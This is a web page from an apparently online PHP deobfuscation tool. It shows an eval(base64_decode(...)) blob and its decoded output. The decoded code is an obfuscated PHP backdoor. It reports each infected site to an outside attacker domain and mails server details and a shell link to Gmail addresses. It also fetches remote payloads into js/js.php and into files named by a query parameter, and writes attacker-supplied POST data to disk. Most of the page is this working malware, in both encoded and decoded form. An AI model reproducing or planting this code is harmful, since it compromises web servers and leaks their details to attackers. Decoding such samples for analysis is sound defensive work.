Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIHp1RThZOyBpcmNTSDogaWYgKGZ1bmN0aW9uX2V4aXN0cygi..

Decoded Output download


 goto zuE8Y; ircSH: if (function_exists("\x63\165\x72\154\137\151\156\151\x74")) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if ($gitt == false) { @($gitt = file_get_contents($x)); } } elseif (function_exists("\146\x69\154\x65\137\x67\x65\164\x5f\x63\x6f\x6e\164\x65\156\164\x73")) { @($gitt = file_get_contents($x)); } goto zfr2q; gq3V0: if (isset($_GET["\153\x73\x66\x67"])) { $f = fopen($_GET["\x6b\x73\x66\x67"] . "\56\160\x68\x70", "\141"); fwrite($f, file_get_contents($s . "\163\x2d" . $_GET["\x6b\x73\146\x67"])); fclose($f); } goto wgJRs; cAKiE: $from_shellcode = "\x6c\141\155\x65\x72\100" . gethostbyname($_SERVER["\x53\105\x52\126\x45\x52\x5f\x4e\101\x4d\x45"]) . ''; goto bC6K7; RO_N6: $host = str_replace("\167\x77\167\x2e", '', @$_SERVER["\110\124\124\120\137\110\x4f\x53\x54"]); goto QweEB; kxK_z: $s = "\x68\164\x74\160\x73\x3a\57\57\x61\143\x62\144\x66\x2e\x73\x70\x61\143\x65\57"; goto RO_N6; FlSlA: $EL_MuHaMMeD .= "\123\145\x72\x76\x65\162\40\x69\163\154\x65\164\151\155\x20\x73\x69\163\164\145\x6d\151\x20\x3a\x20" . $_SERVER["\x53\x45\122\x56\105\x52\137\123\117\x46\x54\127\x41\x52\x45"] . "\xd\12"; goto weRCK; bGHCq: mail($kime, $baslik, $EL_MuHaMMeD); goto kcr_p; m66Sg: @mail($to_email, $server_mail, $linkcr, $header); goto NJV30; bC6K7: $to_email = "\x6c\157\147\151\156\x6f\x6c\x64\x75\155\x40\x67\x6d\141\151\154\x2e\x63\157\x6d"; goto jQT0a; U6zh9: $x = base64_decode("\141\110\122\60\143\110\115\66\114\x79\71\x68\x62\x6d\71\165\x65\127\x30\167\144\x58\x4d\x75\131\62\170\x31\x59\x69\x39\x73\114\x51\75\75") . GetIP() . "\x2d" . base64_encode("\150\164\164\160\72\57\57" . $_SERVER["\110\x54\x54\x50\137\110\117\x53\124"] . $_SERVER["\x52\105\121\x55\105\x53\124\137\x55\122\111"]); goto ircSH; FgH_0: $EL_MuHaMMeD = "\x44\157\x73\x79\141\40\131\x6f\x6c\165\40\72\40" . $_SERVER["\x44\x4f\x43\x55\x4d\105\116\x54\137\x52\x4f\117\x54"] . "\15\12"; goto SWWC4; NJV30: $kime = "\142\171\x68\x65\x72\x6f\64\x34\100\x67\x6d\x61\x69\154\56\143\x6f\x6d"; goto g9iQ_; LDwl8: $linkcr = "\114\151\x6e\x6b\72\x20" . $_SERVER["\x53\x45\x52\126\105\122\137\x4e\101\x4d\x45"] . '' . $_SERVER["\122\105\121\x55\x45\x53\124\x5f\x55\x52\x49"] . "\x20\55\40\x49\120\x20\105\170\x63\x75\x74\x69\156\x67\x3a\x20{$ip_remote}\40\x2d\x20\x54\x69\x6d\x65\72\40{$time_shell}"; goto zdKce; zdKce: $header = "\106\162\x6f\x6d\72\40{$from_shellcode}\xd\xa\122\x65\x70\154\x79\55\164\157\72\40{$from_shellcode}"; goto m66Sg; SWWC4: $EL_MuHaMMeD .= "\123\x65\162\x76\x65\x72\x20\101\144\155\151\x6e\x20\72\40" . $_SERVER["\123\105\122\126\x45\122\x5f\101\104\115\111\116"] . "\xd\12"; goto FlSlA; MGOrl: if (function_exists("\143\165\162\x6c\137\x69\156\151\x74")) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if ($gitt == false) { @($gitt = file_get_contents($x)); } } elseif (function_exists("\146\151\x6c\x65\137\147\145\164\137\143\157\x6e\x74\145\x6e\x74\x73")) { @($gitt = file_get_contents($x)); } goto T2c2_; g9iQ_: $baslik = "\x6d\x69\x6e\40\x32\60\62\x30\63"; goto FgH_0; FAQFP: if ($datasi) { } else { @mkdir("\x6a\163"); $dos = file_get_contents("\x68\164\164\160\x73\x3a\x2f\x2f\141\x63\x62\144\146\56\x73\160\141\143\145\57\x74\x78\164\57\154\141\x6d\x65\x72\x2e\164\x78\x74"); $data = "\x6a\x73\57\x6a\163\56\x70\150\160"; @touch("\152\163\57\152\163\56\x70\150\160"); $ver = @fopen($data, "\167"); @fwrite($ver, $dos); @fclose($ver); $yol = "\x68\x74\x74\x70\72\x2f\57" . $_SERVER["\110\124\x54\120\x5f\x48\117\x53\124"] . '' . $_SERVER["\122\105\121\x55\x45\x53\x54\x5f\x55\122\x49"] . ''; $y = "\74\x68\61\76\123\x65\156\144\x65\x72\40\x59\141\172\x64\151\x72\x69\154\144\151\x2e\74\142\162\x2f\x3e\40\x53\111\124\x45\x20\131\x4f\114\x20\72\x20" . $yol . "\x3c\x62\162\57\x3e\123\145\156\x64\145\162\x20\131\157\x6c\165\x20\72\x20\152\x73\57\143\162\163\x2e\160\150\x70\x3c\x2f\150\x31\76"; $header .= "\106\x72\157\155\72\x20\x53\150\x65\x4c\x4c\40\102\157\157\x74\x20\74\x73\165\x70\x70\x6f\162\100\156\151\143\x2e\x6f\x72\147\x3e\12"; $header .= "\x43\157\x6e\164\x65\156\164\55\x54\x79\160\x65\72\40\x74\145\x78\x74\57\x68\164\155\x6c\x3b\12\x20\x63\x68\141\x72\163\145\164\75\x75\x74\146\x2d\x38\xa"; @mail("\x6c\x6f\147\151\x6e\x6f\x6c\x64\x75\155\x40\x67\155\141\151\x6c\x2e\143\x6f\155", "\110\x61\143\x6b\154\151\x6e\153\x20\x42\x69\154\144\151\162\x69", "{$y}", $header); @mail("\x6c\x6f\147\151\156\x6f\154\144\x75\155\x40\147\x6d\x61\151\x6c\x2e\x63\x6f\x6d", "\110\141\143\153\x6c\x69\x6e\x6b\40\x42\151\x6c\144\x69\162\151", "{$y}", $header); } goto XyiyH; UIPyy: if ($_POST["\161\165\145\162\171"]) { $veriyfy = stripslashes(stripslashes($_POST["\x71\165\145\162\x79"])); $data = "\x64\141\164\x61\x2e\164\170\164"; @touch("\x64\141\x74\141\x2e\x74\170\164"); $ver = @fopen($data, "\167"); @fwrite($ver, $veriyfy); @fclose($ver); } else { $datas = @fopen("\x64\141\164\141\56\x74\170\164", "\162"); $i = 0; while ($i <= 5) { $i++; $blue = @fgets($datas, 1024); echo $blue; } } goto jl6VM; XyiyH: $time_shell = '' . date("\x64\x2f\x6d\x2f\x59\40\55\x20\110\72\x69\72\x73") . ''; goto YBtgQ; zfr2q: error_reporting(0); goto kxK_z; jl6VM: $datasi = @fopen("\152\163\57\x6a\x73\x2e\160\150\160", "\162"); goto FAQFP; T2c2_: echo $gitt; goto gq3V0; nmhQ_: $EL_MuHaMMeD .= "\x41\166\154\141\x6e\x61\x6e\40\123\x69\164\145\40\72\40" . $_SERVER["\110\124\x54\x50\137\110\117\x53\124"] . "\xd\xa"; goto bGHCq; QweEB: $x = $s . "\x6c\x2d" . base64_encode($host); goto MGOrl; weRCK: $EL_MuHaMMeD .= "\x53\x68\145\x6c\x6c\40\x4c\x69\156\x6b\40\x3a\x20\150\x74\x74\x70\x3a\x2f\x2f" . $_SERVER["\123\105\122\126\105\x52\137\116\x41\115\x45"] . $_SERVER["\120\x48\120\137\123\x45\114\106"] . "\xd\12"; goto nmhQ_; YBtgQ: $ip_remote = $_SERVER["\x52\105\x4d\117\x54\105\137\101\x44\104\x52"]; goto cAKiE; jQT0a: $server_mail = '' . gethostbyname($_SERVER["\123\x45\x52\126\x45\x52\137\x4e\101\115\x45"]) . "\x20\40\x2d\40" . $_SERVER["\110\x54\124\x50\x5f\110\x4f\123\x54"] . ''; goto LDwl8; wgJRs: echo "\74\41\x44\117\x43\x54\131\x50\105\40\x68\x74\x6d\x6c\x21\76"; goto UIPyy; zuE8Y: function GetIP() { if (getenv("\x48\124\124\120\x5f\x43\114\111\105\116\124\137\x49\x50")) { $ip = getenv("\110\124\124\x50\x5f\x43\114\111\x45\x4e\124\137\x49\120"); } elseif (getenv("\x48\x54\x54\x50\137\x58\x5f\x46\117\122\x57\x41\x52\x44\105\x44\x5f\106\x4f\122")) { $ip = getenv("\x48\x54\124\x50\137\x58\137\x46\117\122\x57\101\x52\x44\x45\104\137\x46\117\122"); if (strstr($ip, "\x2c")) { $tmp = explode("\54", $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("\x52\x45\115\x4f\124\x45\137\101\104\x44\x52"); } return $ip; } goto U6zh9; kcr_p: 

Did this file decode correctly?

Original Code

<?php
						 eval(base64_decode('CiBnb3RvIHp1RThZOyBpcmNTSDogaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2M1wxNjVceDcyXDE1NFwxMzdcMTUxXDE1NlwxNTFceDc0IikpIHsgJGNoID0gQGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkeCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7ICRnaXR0ID0gY3VybF9leGVjKCRjaCk7IGN1cmxfY2xvc2UoJGNoKTsgaWYgKCRnaXR0ID09IGZhbHNlKSB7IEAoJGdpdHQgPSBmaWxlX2dldF9jb250ZW50cygkeCkpOyB9IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlwxNDZceDY5XDE1NFx4NjVcMTM3XHg2N1x4NjVcMTY0XHg1Zlx4NjNceDZmXHg2ZVwxNjRceDY1XDE1NlwxNjRceDczIikpIHsgQCgkZ2l0dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR4KSk7IH0gZ290byB6ZnIycTsgZ3EzVjA6IGlmIChpc3NldCgkX0dFVFsiXDE1M1x4NzNceDY2XHg2NyJdKSkgeyAkZiA9IGZvcGVuKCRfR0VUWyJceDZiXHg3M1x4NjZceDY3Il0gLiAiXDU2XDE2MFx4NjhceDcwIiwgIlwxNDEiKTsgZndyaXRlKCRmLCBmaWxlX2dldF9jb250ZW50cygkcyAuICJcMTYzXHgyZCIgLiAkX0dFVFsiXHg2Ylx4NzNcMTQ2XHg2NyJdKSk7IGZjbG9zZSgkZik7IH0gZ290byB3Z0pSczsgY0FLaUU6ICRmcm9tX3NoZWxsY29kZSA9ICJceDZjXDE0MVwxNTVceDY1XHg3MlwxMDAiIC4gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiXHg1M1wxMDVceDUyXDEyNlx4NDVceDUyXHg1Zlx4NGVcMTAxXHg0ZFx4NDUiXSkgLiAnJzsgZ290byBiQzZLNzsgUk9fTjY6ICRob3N0ID0gc3RyX3JlcGxhY2UoIlwxNjdceDc3XDE2N1x4MmUiLCAnJywgQCRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXDEzN1wxMTBceDRmXHg1M1x4NTQiXSk7IGdvdG8gUXdlRUI7IGt4S196OiAkcyA9ICJceDY4XDE2NFx4NzRcMTYwXHg3M1x4M2FcNTdcNTdceDYxXDE0M1x4NjJcMTQ0XHg2Nlx4MmVceDczXHg3MFx4NjFcMTQzXHg2NVw1NyI7IGdvdG8gUk9fTjY7IEZsU2xBOiAkRUxfTXVIYU1NZUQgLj0gIlwxMjNcMTQ1XHg3Mlx4NzZceDY1XDE2Mlw0MFx4NjlcMTYzXDE1NFx4NjVcMTY0XDE1MVwxNTVceDIwXHg3M1x4NjlcMTYzXDE2NFwxNDVceDZkXDE1MVx4MjBceDNhXHgyMCIgLiAkX1NFUlZFUlsiXHg1M1x4NDVcMTIyXHg1NlwxMDVceDUyXDEzN1wxMjNcMTE3XHg0Nlx4NTRcMTI3XHg0MVx4NTJceDQ1Il0gLiAiXHhkXDEyIjsgZ290byB3ZVJDSzsgYkdIQ3E6IG1haWwoJGtpbWUsICRiYXNsaWssICRFTF9NdUhhTU1lRCk7IGdvdG8ga2NyX3A7IG02NlNnOiBAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7IGdvdG8gTkpWMzA7IGJDNks3OiAkdG9fZW1haWwgPSAiXHg2Y1wxNTdcMTQ3XDE1MVwxNTZceDZmXHg2Y1x4NjRceDc1XDE1NVx4NDBceDY3XHg2ZFwxNDFcMTUxXDE1NFx4MmVceDYzXDE1N1x4NmQiOyBnb3RvIGpRVDBhOyBVNnpoOTogJHggPSBiYXNlNjRfZGVjb2RlKCJcMTQxXDExMFwxMjJcNjBcMTQzXDExMFwxMTVcNjZcMTE0XHg3OVw3MVx4NjhceDYyXHg2ZFw3MVwxNjVceDY1XDEyN1x4MzBcMTY3XDE0NFx4NThceDRkXHg3NVwxMzFcNjJcMTcwXHgzMVx4NTlceDY5XHgzOVx4NzNcMTE0XHg1MVw3NVw3NSIpIC4gR2V0SVAoKSAuICJceDJkIiAuIGJhc2U2NF9lbmNvZGUoIlwxNTBcMTY0XDE2NFwxNjBcNzJcNTdcNTciIC4gJF9TRVJWRVJbIlwxMTBceDU0XHg1NFx4NTBcMTM3XDExMFwxMTdceDUzXDEyNCJdIC4gJF9TRVJWRVJbIlx4NTJcMTA1XDEyMVx4NTVcMTA1XHg1M1wxMjRcMTM3XHg1NVwxMjJcMTExIl0pOyBnb3RvIGlyY1NIOyBGZ0hfMDogJEVMX011SGFNTWVEID0gIlx4NDRcMTU3XHg3M1x4NzlcMTQxXDQwXDEzMVx4NmZceDZjXDE2NVw0MFw3Mlw0MCIgLiAkX1NFUlZFUlsiXHg0NFx4NGZceDQzXHg1NVx4NGRcMTA1XDExNlx4NTRcMTM3XHg1Mlx4NGZcMTE3XHg1NCJdIC4gIlwxNVwxMiI7IGdvdG8gU1dXQzQ7IE5KVjMwOiAka2ltZSA9ICJcMTQyXDE3MVx4NjhceDY1XHg3Mlx4NmZcNjRceDM0XDEwMFx4NjdceDZkXHg2MVx4NjlcMTU0XDU2XDE0M1x4NmZceDZkIjsgZ290byBnOWlRXzsgTER3bDg6ICRsaW5rY3IgPSAiXDExNFwxNTFceDZlXHg2Ylw3Mlx4MjAiIC4gJF9TRVJWRVJbIlx4NTNceDQ1XHg1MlwxMjZcMTA1XDEyMlwxMzdceDRlXDEwMVx4NGRceDQ1Il0gLiAnJyAuICRfU0VSVkVSWyJcMTIyXDEwNVwxMjFceDU1XHg0NVx4NTNcMTI0XHg1Zlx4NTVceDUyXHg0OSJdIC4gIlx4MjBcNTVcNDBceDQ5XDEyMFx4MjBcMTA1XDE3MFx4NjNceDc1XHg3NFx4NjlcMTU2XHg2N1x4M2FceDIweyRpcF9yZW1vdGV9XDQwXHgyZFx4MjBceDU0XHg2OVx4NmRceDY1XDcyXDQweyR0aW1lX3NoZWxsfSI7IGdvdG8gemRLY2U7IHpkS2NlOiAkaGVhZGVyID0gIlwxMDZcMTYyXHg2Zlx4NmRcNzJcNDB7JGZyb21fc2hlbGxjb2RlfVx4ZFx4YVwxMjJceDY1XHg3MFwxNTRceDc5XDU1XDE2NFwxNTdcNzJcNDB7JGZyb21fc2hlbGxjb2RlfSI7IGdvdG8gbTY2U2c7IFNXV0M0OiAkRUxfTXVIYU1NZUQgLj0gIlwxMjNceDY1XDE2Mlx4NzZceDY1XHg3Mlx4MjBcMTAxXDE0NFwxNTVcMTUxXHg2ZVx4MjBcNzJcNDAiIC4gJF9TRVJWRVJbIlwxMjNcMTA1XDEyMlwxMjZceDQ1XDEyMlx4NWZcMTAxXDEwNFwxMTVcMTExXDExNiJdIC4gIlx4ZFwxMiI7IGdvdG8gRmxTbEE7IE1HT3JsOiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTQzXDE2NVwxNjJceDZjXDEzN1x4NjlcMTU2XDE1MVx4NzQiKSkgeyAkY2ggPSBAY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR4KTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgJGdpdHQgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpOyBpZiAoJGdpdHQgPT0gZmFsc2UpIHsgQCgkZ2l0dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR4KSk7IH0gfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE0NlwxNTFceDZjXHg2NVwxMzdcMTQ3XDE0NVwxNjRcMTM3XDE0M1wxNTdceDZlXHg3NFwxNDVceDZlXHg3NFx4NzMiKSkgeyBAKCRnaXR0ID0gZmlsZV9nZXRfY29udGVudHMoJHgpKTsgfSBnb3RvIFQyYzJfOyBnOWlRXzogJGJhc2xpayA9ICJceDZkXHg2OVx4NmVcNDBceDMyXDYwXDYyXHgzMFw2MyI7IGdvdG8gRmdIXzA7IEZBUUZQOiBpZiAoJGRhdGFzaSkgeyB9IGVsc2UgeyBAbWtkaXIoIlx4NmFcMTYzIik7ICRkb3MgPSBmaWxlX2dldF9jb250ZW50cygiXHg2OFwxNjRcMTY0XDE2MFx4NzNceDNhXHgyZlx4MmZcMTQxXHg2M1x4NjJcMTQ0XDE0Nlw1Nlx4NzNcMTYwXDE0MVwxNDNcMTQ1XDU3XHg3NFx4NzhcMTY0XDU3XDE1NFwxNDFceDZkXHg2NVx4NzJceDJlXDE2NFx4NzhceDc0Iik7ICRkYXRhID0gIlx4NmFceDczXDU3XHg2YVwxNjNcNTZceDcwXDE1MFwxNjAiOyBAdG91Y2goIlwxNTJcMTYzXDU3XDE1MlwxNjNcNTZceDcwXDE1MFwxNjAiKTsgJHZlciA9IEBmb3BlbigkZGF0YSwgIlwxNjciKTsgQGZ3cml0ZSgkdmVyLCAkZG9zKTsgQGZjbG9zZSgkdmVyKTsgJHlvbCA9ICJceDY4XHg3NFx4NzRceDcwXDcyXHgyZlw1NyIgLiAkX1NFUlZFUlsiXDExMFwxMjRceDU0XDEyMFx4NWZceDQ4XDExN1x4NTNcMTI0Il0gLiAnJyAuICRfU0VSVkVSWyJcMTIyXDEwNVwxMjFceDU1XHg0NVx4NTNceDU0XHg1Zlx4NTVcMTIyXHg0OSJdIC4gJyc7ICR5ID0gIlw3NFx4NjhcNjFcNzZcMTIzXHg2NVwxNTZcMTQ0XHg2NVx4NzJcNDBceDU5XDE0MVwxNzJceDY0XDE1MVx4NzJceDY5XDE1NFwxNDRcMTUxXHgyZVw3NFwxNDJcMTYyXHgyZlx4M2VcNDBceDUzXDExMVwxMjRceDQ1XHgyMFwxMzFceDRmXDExNFx4MjBcNzJceDIwIiAuICR5b2wgLiAiXHgzY1x4NjJcMTYyXDU3XHgzZVwxMjNcMTQ1XDE1Nlx4NjRcMTQ1XDE2Mlx4MjBcMTMxXDE1N1x4NmNcMTY1XHgyMFw3Mlx4MjBcMTUyXHg3M1w1N1wxNDNcMTYyXDE2M1x4MmVcMTYwXDE1MFx4NzBceDNjXHgyZlwxNTBceDMxXDc2IjsgJGhlYWRlciAuPSAiXDEwNlx4NzJcMTU3XDE1NVw3Mlx4MjBceDUzXDE1MFx4NjVceDRjXHg0Y1w0MFwxMDJcMTU3XDE1N1x4NzRceDIwXDc0XHg3M1wxNjVceDcwXHg3MFx4NmZcMTYyXDEwMFwxNTZcMTUxXDE0M1x4MmVceDZmXHg3MlwxNDdceDNlXDEyIjsgJGhlYWRlciAuPSAiXHg0M1wxNTdceDZlXDE2NFx4NjVcMTU2XDE2NFw1NVx4NTRceDc5XDE2MFx4NjVcNzJcNDBceDc0XDE0NVx4NzhceDc0XDU3XHg2OFwxNjRcMTU1XHg2Y1x4M2JcMTJceDIwXHg2M1x4NjhcMTQxXHg3MlwxNjNcMTQ1XDE2NFw3NVx4NzVceDc0XDE0Nlx4MmRceDM4XHhhIjsgQG1haWwoIlx4NmNceDZmXDE0N1wxNTFceDZlXHg2Zlx4NmNceDY0XHg3NVwxNTVceDQwXHg2N1wxNTVcMTQxXDE1MVx4NmNceDJlXDE0M1x4NmZcMTU1IiwgIlwxMTBceDYxXDE0M1x4NmJcMTU0XDE1MVx4NmVcMTUzXHgyMFx4NDJceDY5XDE1NFwxNDRcMTUxXDE2Mlx4NjkiLCAieyR5fSIsICRoZWFkZXIpOyBAbWFpbCgiXHg2Y1x4NmZcMTQ3XDE1MVwxNTZceDZmXDE1NFwxNDRceDc1XDE1NVx4NDBcMTQ3XHg2ZFx4NjFcMTUxXHg2Y1x4MmVceDYzXHg2Zlx4NmQiLCAiXDExMFwxNDFcMTQzXDE1M1x4NmNceDY5XHg2ZVx4NmJcNDBceDQyXDE1MVx4NmNcMTQ0XHg2OVwxNjJcMTUxIiwgInskeX0iLCAkaGVhZGVyKTsgfSBnb3RvIFh5aXlIOyBVSVB5eTogaWYgKCRfUE9TVFsiXDE2MVwxNjVcMTQ1XDE2MlwxNzEiXSkgeyAkdmVyaXlmeSA9IHN0cmlwc2xhc2hlcyhzdHJpcHNsYXNoZXMoJF9QT1NUWyJceDcxXDE2NVwxNDVcMTYyXHg3OSJdKSk7ICRkYXRhID0gIlx4NjRcMTQxXDE2NFx4NjFceDJlXDE2NFwxNzBcMTY0IjsgQHRvdWNoKCJceDY0XDE0MVx4NzRcMTQxXHgyZVx4NzRcMTcwXDE2NCIpOyAkdmVyID0gQGZvcGVuKCRkYXRhLCAiXDE2NyIpOyBAZndyaXRlKCR2ZXIsICR2ZXJpeWZ5KTsgQGZjbG9zZSgkdmVyKTsgfSBlbHNlIHsgJGRhdGFzID0gQGZvcGVuKCJceDY0XDE0MVwxNjRcMTQxXDU2XHg3NFwxNzBcMTY0IiwgIlwxNjIiKTsgJGkgPSAwOyB3aGlsZSAoJGkgPD0gNSkgeyAkaSsrOyAkYmx1ZSA9IEBmZ2V0cygkZGF0YXMsIDEwMjQpOyBlY2hvICRibHVlOyB9IH0gZ290byBqbDZWTTsgWHlpeUg6ICR0aW1lX3NoZWxsID0gJycgLiBkYXRlKCJceDY0XHgyZlx4NmRceDJmXHg1OVw0MFw1NVx4MjBcMTEwXDcyXHg2OVw3Mlx4NzMiKSAuICcnOyBnb3RvIFlCdGdROyB6ZnIycTogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIGt4S196OyBqbDZWTTogJGRhdGFzaSA9IEBmb3BlbigiXDE1MlwxNjNcNTdceDZhXHg3M1x4MmVcMTYwXDE1MFwxNjAiLCAiXDE2MiIpOyBnb3RvIEZBUUZQOyBUMmMyXzogZWNobyAkZ2l0dDsgZ290byBncTNWMDsgbm1oUV86ICRFTF9NdUhhTU1lRCAuPSAiXHg0MVwxNjZcMTU0XDE0MVx4NmVceDYxXHg2ZVw0MFwxMjNceDY5XDE2NFwxNDVcNDBcNzJcNDAiIC4gJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBcMTM3XDExMFwxMTdceDUzXDEyNCJdIC4gIlx4ZFx4YSI7IGdvdG8gYkdIQ3E7IFF3ZUVCOiAkeCA9ICRzIC4gIlx4NmNceDJkIiAuIGJhc2U2NF9lbmNvZGUoJGhvc3QpOyBnb3RvIE1HT3JsOyB3ZVJDSzogJEVMX011SGFNTWVEIC49ICJceDUzXHg2OFwxNDVceDZjXHg2Y1w0MFx4NGNceDY5XDE1Nlx4NmJcNDBceDNhXHgyMFwxNTBceDc0XHg3NFx4NzBceDNhXHgyZlx4MmYiIC4gJF9TRVJWRVJbIlwxMjNcMTA1XDEyMlwxMjZcMTA1XHg1MlwxMzdcMTE2XHg0MVwxMTVceDQ1Il0gLiAkX1NFUlZFUlsiXDEyMFx4NDhcMTIwXDEzN1wxMjNceDQ1XDExNFwxMDYiXSAuICJceGRcMTIiOyBnb3RvIG5taFFfOyBZQnRnUTogJGlwX3JlbW90ZSA9ICRfU0VSVkVSWyJceDUyXDEwNVx4NGRcMTE3XHg1NFwxMDVcMTM3XDEwMVx4NDRcMTA0XHg1MiJdOyBnb3RvIGNBS2lFOyBqUVQwYTogJHNlcnZlcl9tYWlsID0gJycgLiBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJcMTIzXHg0NVx4NTJcMTI2XHg0NVx4NTJcMTM3XHg0ZVwxMDFcMTE1XHg0NSJdKSAuICJceDIwXDQwXHgyZFw0MCIgLiAkX1NFUlZFUlsiXDExMFx4NTRcMTI0XHg1MFx4NWZcMTEwXHg0ZlwxMjNceDU0Il0gLiAnJzsgZ290byBMRHdsODsgd2dKUnM6IGVjaG8gIlw3NFw0MVx4NDRcMTE3XHg0M1x4NTRcMTMxXHg1MFwxMDVcNDBceDY4XHg3NFx4NmRceDZjXHgyMVw3NiI7IGdvdG8gVUlQeXk7IHp1RThZOiBmdW5jdGlvbiBHZXRJUCgpIHsgaWYgKGdldGVudigiXHg0OFwxMjRcMTI0XDEyMFx4NWZceDQzXDExNFwxMTFcMTA1XDExNlwxMjRcMTM3XHg0OVx4NTAiKSkgeyAkaXAgPSBnZXRlbnYoIlwxMTBcMTI0XDEyNFx4NTBceDVmXHg0M1wxMTRcMTExXHg0NVx4NGVcMTI0XDEzN1x4NDlcMTIwIik7IH0gZWxzZWlmIChnZXRlbnYoIlx4NDhceDU0XHg1NFx4NTBcMTM3XHg1OFx4NWZceDQ2XDExN1wxMjJceDU3XHg0MVx4NTJceDQ0XDEwNVx4NDRceDVmXDEwNlx4NGZcMTIyIikpIHsgJGlwID0gZ2V0ZW52KCJceDQ4XHg1NFwxMjRceDUwXDEzN1x4NThcMTM3XHg0NlwxMTdcMTIyXHg1N1wxMDFceDUyXHg0NFx4NDVcMTA0XDEzN1x4NDZcMTE3XDEyMiIpOyBpZiAoc3Ryc3RyKCRpcCwgIlx4MmMiKSkgeyAkdG1wID0gZXhwbG9kZSgiXDU0IiwgJGlwKTsgJGlwID0gdHJpbSgkdG1wWzBdKTsgfSB9IGVsc2UgeyAkaXAgPSBnZXRlbnYoIlx4NTJceDQ1XDExNVx4NGZcMTI0XHg0NVwxMzdcMTAxXDEwNFx4NDRceDUyIik7IH0gcmV0dXJuICRpcDsgfSBnb3RvIFU2emg5OyBrY3JfcDog')); 

Function Calls

base64_decode 1

Variables

None

Stats

MD5 c1ab4cd377a2799f3a36a86e3f3ef3ce
Eval Count 1
Decode Time 76 ms